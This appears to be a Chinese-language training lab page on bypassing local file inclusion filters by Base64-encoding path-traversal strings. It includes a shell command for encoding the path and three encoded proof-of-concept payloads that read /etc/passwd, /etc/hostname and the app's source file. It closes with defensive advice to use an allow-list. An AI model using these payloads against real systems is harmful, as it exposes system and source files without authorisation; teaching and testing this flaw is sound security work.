进阶:Base64 编码绕过 LFI
页面名经过 Base64 编码传输,攻击者可将恶意路径编码后绕过字符过滤
🔐 Base64 编码页面加载
参数 token 接收 Base64 编码的页面路径,解码后直接拼入文件路径
💡 实验提示
Base64 编码可绕过对 ../ 等关键字符的字符串匹配过滤
编码方法:Kali 终端执行
echo -n "../../../../../etc/passwd" | base64 生成 Base64 载荷
POC 01:
Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== → 解码后为 ../../../../../../etc/passwd
POC 02:
Li4vYXBwLnB5 → 解码后为 ../app.py
POC 03:
Li4vLi4vLi4vLi4vLi4vLi4vZXRjL2hvc3RuYW1l → 解码后为 ../../../../../../etc/hostname
⚠️ 防御要点:Base64 只是编码不是加密,不能替代输入校验。必须以白名单限制允许访问的文件。